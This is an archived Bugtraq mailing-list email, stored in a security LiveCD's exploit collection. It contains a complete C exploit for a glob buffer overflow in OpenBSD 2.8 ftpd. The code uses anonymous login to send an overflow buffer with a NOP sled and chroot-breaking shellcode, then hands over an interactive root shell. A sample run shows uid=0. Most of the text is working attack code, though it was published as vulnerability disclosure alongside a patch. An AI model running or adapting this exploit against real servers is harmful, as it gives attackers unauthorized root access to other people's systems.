home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / ftp / ftpd / obsdglobexp.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  10KB  |  366 lines

  1. From aleph1@SECURITYFOCUS.COM Thu Apr 19 10:29:48 2001
  2. Date: Mon, 16 Apr 2001 11:39:50 -0600
  3. From: Elias Levy <aleph1@SECURITYFOCUS.COM>
  4. To: vulq@securityfocus.com
  5. Subject: (forw) BUGTRAQ: approval required (344AA3A4)
  6.  
  7.  
  8. -- 
  9. Elias Levy
  10. SecurityFocus.com
  11. http://www.securityfocus.com/
  12. Si vis pacem, para bellum
  13.  
  14.     [ Part 2: "Included Message" ]
  15.  
  16. Date: Mon, 16 Apr 2001 07:47:33 -0600
  17. From: "L-Soft list server at SecurityFocus.com (1.8d)"
  18.     <LISTSERV@LISTS.SECURITYFOCUS.COM>
  19. To: Elias Levy <aleph1@SECURITYFOCUS.COM>
  20. Subject: BUGTRAQ: approval required (344AA3A4)
  21.  
  22. This message  was originally submitted  by stok@CODEFACTORY.SE to  the BUGTRAQ
  23. list at LISTS.SECURITYFOCUS.COM. You can  approve it using the "OK" mechanism,
  24. ignore it, or repost an edited copy. The message will expire automatically and
  25. you do not need to do anything if you just want to discard it. Please refer to
  26. the list owner's guide if you are  not familiar with the "OK" mechanism; these
  27. instructions  are  being  kept  purposefully short  for  your  convenience  in
  28. processing large numbers of messages.
  29.  
  30. ----------------- Original message (ID=344AA3A4) (336 lines) ------------------
  31. Return-Path: <owner-bugtraq@securityfocus.com>
  32. Delivered-To: bugtraq@lists.securityfocus.com
  33. Received: from securityfocus.com (mail.securityfocus.com [66.38.151.9])
  34.     by lists.securityfocus.com (Postfix) with SMTP id C8D6A24C401
  35.     for <bugtraq@lists.securityfocus.com>; Mon, 16 Apr 2001 07:47:32 -0600 (MDT)
  36. Received: (qmail 4910 invoked by alias); 16 Apr 2001 13:47:34 -0000
  37. Delivered-To: bugtraq@securityfocus.com
  38. Received: (qmail 4907 invoked from network); 16 Apr 2001 13:47:33 -0000
  39. Received: from skinner.codefactory.se (212.32.187.2)
  40.   by mail.securityfocus.com with SMTP; 16 Apr 2001 13:47:33 -0000
  41. Received: by skinner.codefactory.se (Postfix, from userid 511)
  42.     id A444619073; Mon, 16 Apr 2001 15:50:50 +0200 (CEST)
  43. Date: Mon, 16 Apr 2001 15:50:50 +0200
  44. From: Tomas Kindahl <stok@codefactory.se>
  45. To: bugtraq@securityfocus.com
  46. Subject: OpenBSD 2.8 ftpd/glob exploit (breaks chroot)
  47. Message-ID: <20010416155050.A2147@codefactory.se>
  48. Mime-Version: 1.0
  49. Content-Type: text/plain; charset=us-ascii
  50. Content-Disposition: inline
  51. User-Agent: Mutt/1.2.5i
  52.  
  53. I thought I'd wait till after the weekend before posting this. Here goes:
  54.  
  55. /*
  56. OpenBSD 2.x - 2.8 ftpd exploit.
  57.   It is possible to exploit an anonymous ftp without write permission
  58.   under certain circumstances. One is most likely to succeed if there
  59.   is a single directory somewhere with more than 16 characters in its
  60.   name.
  61.   Of course, if one has write permissions, one could easily create
  62.   such a directory.
  63.   My return values aren't that good. Find your own.
  64.   Patch is available at http://www.openbsd.org/errata.html
  65. Example:
  66.   ftp> pwd
  67.   257 "/test" is current directory.
  68.   ftp> dir
  69.   229 Entering Extended Passive Mode (|||12574|)
  70.   150 Opening ASCII mode data connection for '/bin/ls'.
  71.   total 2
  72.   drwxr-xr-x  2 1000  0  512 Apr 14 14:14 12345678901234567
  73.   226 Transfer complete.
  74. .....
  75.   $ ./leheehel -c /test -l 17 -s0xdfbeb970 localhost
  76.   // 230 Guest login ok, access restrictions apply.
  77.   // 250 CWD command successful.
  78.   retaddr = dfbeb970
  79.   Press enter..
  80.   remember to remove the "adfa"-dir
  81.   id
  82.   uid=0(root) gid=32766(nogroup) groups=32766(nogroup)
  83. The shellcode basically does:
  84.   seteuid(0); a = open("..", O_RDONLY); mkdir("adfa", 555);
  85.   chroot("adfa"); fchdir(a); for(cnt = 100; cnt; cnt--)
  86.     chdir("..");
  87.   chroot(".."); execve("/bin//sh", ..);
  88. Credits:
  89.   COVERT for their advisory.
  90.   The OpenBSD devteam for a great OS.
  91.   beercan for letting me test this on his OpenBSD 2.8-RELEASE
  92. Author:
  93.   Tomas Kindahl <stok@codefactory.se>
  94.   Stok@{irc,ef}net
  95. */
  96.  
  97. #include <sys/types.h>
  98. #include <sys/socket.h>
  99. #include <netinet/in.h>
  100. #include <netdb.h>
  101. #include <stdio.h>
  102. #include <unistd.h>
  103. #include <stdlib.h>
  104. #include <string.h>
  105.  
  106. extern char *optarg;
  107. static int debug;
  108. int cflag, lflag, sflag;
  109.  
  110. /* The execve-part was stolen from "predator" */
  111. char shellcode[] = 
  112. "\x31\xc0\x50\x50\xb0\xb7\xcd\x80"
  113. "\x58\x50\x66\x68\x2e\x2e\x89\xe1"
  114. "\x50\x51\x50\xb0\x05\xcd\x80\x89"
  115. "\xc3\x58\x50\x68\x61\x64\x66\x61"
  116. "\x89\xe2\x66\x68\x6d\x01\x52\x50"
  117. "\xb0\x88\xcd\x80\xb0\x3d\xcd\x80"
  118. "\x53\x50\xb0\x01\x83\xc0\x0c\xcd"
  119. "\x80\x51\x50\x31\xc9\xb1\x64\xb0"
  120. "\x0c\xcd\x80\xe2\xfa\xb0\x3d\xcd"
  121. "\x80\x31\xc0\x50\x68\x2f\x2f\x73"
  122. "\x68\x68\x2f\x62\x69\x6e\x89\xe3"
  123. "\x50\x53\x50\x54\x53\xb0\x3b\x50"
  124. "\xcd\x80\xc3";
  125.  
  126. #define USER "USER ftp\r\n"
  127. #define PASS "PASS -user@\r\n"
  128.  
  129. void usage(const char *);
  130. void docmd(int s, const char *cmd, int print);
  131. void communicate(int s);
  132.  
  133. int main(int argc, char *argv[])
  134. {
  135.   char expbuf[512] = "LIST ", *basedir, option;
  136.   char commandbuf[512] = "", *hostname;
  137.   int cnt, dirlen, explen, sendlen;
  138.   int s, port = 21, pad;
  139.   long retaddr;
  140.   struct sockaddr_in sin;
  141.   struct hostent *he;
  142.  
  143.   while((option = getopt(argc, argv, "dc:l:p:s:")) != -1)
  144.     switch(option)
  145.       {
  146.       case 'd':
  147.         debug++;
  148.         break;
  149.       case 'c':
  150.         cflag = 1;
  151.         basedir = optarg;
  152.         break;
  153.       case 'l':
  154.         lflag = 1;
  155.         dirlen = atoi(optarg);
  156.         if(dirlen < 16)
  157.           {
  158.             usage(argv[0]);
  159.             exit(0);
  160.           }
  161.         break;
  162.       case 'p':
  163.         port = atoi(optarg);
  164.         break;
  165.       case 's':
  166.         sflag = 1;
  167.         retaddr = strtoul(optarg, 0, 0);
  168.         break;
  169.       default:
  170.         usage(argv[0]);
  171.         exit(0);
  172.       }
  173.  
  174.   if(!cflag || !lflag)
  175.     {
  176.       usage(argv[0]);
  177.       exit(0);
  178.     }
  179.  
  180.   if(argc - optind == 1)
  181.     hostname = argv[optind];
  182.   else
  183.     {
  184.       usage(argv[0]);
  185.       exit(0);
  186.     }
  187.  
  188.   if((s = socket(AF_INET, SOCK_STREAM, 0)) == -1)
  189.     {
  190.       perror("socket");
  191.       exit(1);
  192.     }
  193.  
  194.   if((he = gethostbyname(hostname)) == NULL)
  195.     {
  196.       herror(hostname);
  197.       exit(0);
  198.     }
  199.   memset(&sin, 0, sizeof(struct sockaddr_in));
  200.   sin.sin_family = AF_INET;
  201.   sin.sin_port = htons(port);
  202.   memcpy(&sin.sin_addr, he->h_addr_list[0], sizeof(struct in_addr));
  203.   if(connect(s, (struct sockaddr *) &sin, sizeof(struct sockaddr_in)) == -1)
  204.     {
  205.       perror("connect");
  206.       exit(0);
  207.     }
  208.  
  209.   if(debug)
  210.     fprintf(stderr, "// basedir = \"%s\"\n", basedir);
  211.  
  212.   /* "untrusted input"? */
  213.   for(cnt = 0; cnt < 1024/(dirlen+4)-1; cnt++)
  214.     strcat(expbuf, "*/../");
  215.   strcat(expbuf, "*/");
  216.   if(debug)
  217.     fprintf(stderr, "// expbuf = \"%s\"\n", expbuf);
  218.  
  219.   explen = cnt*(dirlen+4) + dirlen + 1;
  220.   if(debug)
  221.     fprintf(stderr, "// explen = %d\n", explen);
  222.  
  223.   sendlen = strlen(expbuf);
  224.   if(debug)
  225.     fprintf(stderr, "// sendlen = %d\n", sendlen);
  226.  
  227.   docmd(s, "", 0);
  228.  
  229.   docmd(s, USER, 0);
  230.   docmd(s, PASS, 1);
  231.  
  232.   snprintf(commandbuf, sizeof(commandbuf), "CWD %s\r\n", basedir);
  233.   docmd(s, commandbuf, 1);
  234.  
  235.  
  236. /*************************/
  237.  
  238.   pad = 1027 - explen;
  239.   if(debug)
  240.     fprintf(stderr, "// pad = %d\n", pad);
  241.  
  242.   for(; pad >= 0; pad--)
  243.     strcat(expbuf, "x");
  244.  
  245.   /* return address */
  246.   if(!sflag)
  247.     {
  248.       switch(dirlen)
  249.         {
  250.         case 16:
  251.           retaddr = 0xdfbeab60;
  252.         case 26:
  253.           retaddr = 0xdfbefe40;
  254.         default:
  255.           /* I don't have the patience to investigate this. */
  256.           retaddr = 0xdfbeba20 + (dirlen-17)*0x9c0;
  257.         }
  258.       retaddr+=20;
  259.     }
  260.  
  261.   fprintf(stderr, "retaddr = %.8lx\n", retaddr);
  262.   /* endian dependant */
  263.   strncat(expbuf, (char *) &retaddr, 4);
  264.  
  265.   for(cnt = strlen(expbuf); cnt < 508-strlen(shellcode); cnt++)
  266.     strcat(expbuf, "\x90");
  267.  
  268.   strcat(expbuf, shellcode);
  269.  
  270.   strcat(expbuf, "\r\n");
  271. /*************************/
  272.  
  273.   fprintf(stderr, "Press enter.."); fflush(stderr);
  274.   fgets(commandbuf, sizeof(commandbuf)-1, stdin);
  275.  
  276.   docmd(s, expbuf, 0);
  277.  
  278.   fprintf(stderr, "remember to remove the \"adfa\"-dir\n");
  279.   communicate(s);
  280.  
  281.   return 0;
  282. }
  283.  
  284. void usage(const char *s)
  285. {
  286.   fprintf(stderr, "Usage %s [-s retaddr] [-d] -c dir -l dirlen(>=16) [-p port] hostname\n", s);
  287. }
  288.  
  289. void docmd(int s, const char *cmd, int print)
  290. {
  291.   char uglybuf[1024];
  292.   int len;
  293.   fd_set rfds;
  294.   struct timeval tv;
  295.  
  296.   len = strlen(cmd);
  297.   if(debug)
  298.     {
  299.       write(STDERR_FILENO, "\\\\ ", 3);
  300.       write(STDERR_FILENO, cmd, len);
  301.     }
  302.   if(send(s, cmd, len, 0) != len)
  303.     {
  304.       perror("send");
  305.       exit(0);
  306.     }
  307.  
  308.   FD_ZERO(&rfds);
  309.   FD_SET(s, &rfds);
  310.   tv.tv_sec = 1;
  311.   tv.tv_usec = 0;
  312.   select(s+1, &rfds, NULL, NULL, &tv);
  313.   if(FD_ISSET(s, &rfds))
  314.     {
  315.       if((len = recv(s, uglybuf, sizeof(uglybuf), 0)) < 0)
  316.         {
  317.           perror("recv");
  318.           exit(0);
  319.         }
  320.       if(len == 0)
  321.         {
  322.           fprintf(stderr, "EOF on socket. Sorry.\n");
  323.           exit(0);
  324.         }
  325.       if(debug || print)
  326.         {
  327.           write(STDERR_FILENO, "// ", 3);
  328.           write(STDERR_FILENO, uglybuf, len);
  329.         }
  330.     }
  331. }
  332.  
  333. void communicate(int s)
  334. {
  335.   char buf[1024];
  336.   int len;
  337.   fd_set rfds;
  338.  
  339.   while(1)
  340.     {
  341.       FD_ZERO(&rfds);
  342.       FD_SET(STDIN_FILENO, &rfds);
  343.       FD_SET(s, &rfds);
  344.       select(s+1, &rfds, NULL, NULL, NULL);
  345.       if(FD_ISSET(STDIN_FILENO, &rfds))
  346.         {
  347.           if((len = read(STDIN_FILENO, buf, sizeof(buf))) <= 0)
  348.             return;
  349.           if(send(s, buf, len, 0) == -1)
  350.             return;
  351.         }
  352.       if(FD_ISSET(s, &rfds))
  353.         {
  354.           if((len = recv(s, buf, sizeof(buf), 0)) <= 0)
  355.             return;
  356.           if(write(STDOUT_FILENO, buf, len) == -1)
  357.             return;
  358.         }
  359.     }
  360. }
  361.  
  362. -- 
  363. Tomas Kindahl                    tomas.kindahl@codefactory.se
  364. CodeFactory AB                   http://www.codefactory.se/
  365. Office: +46 (0)90 71 86 13       Cell: +46 (0)73 922 92 30
  366.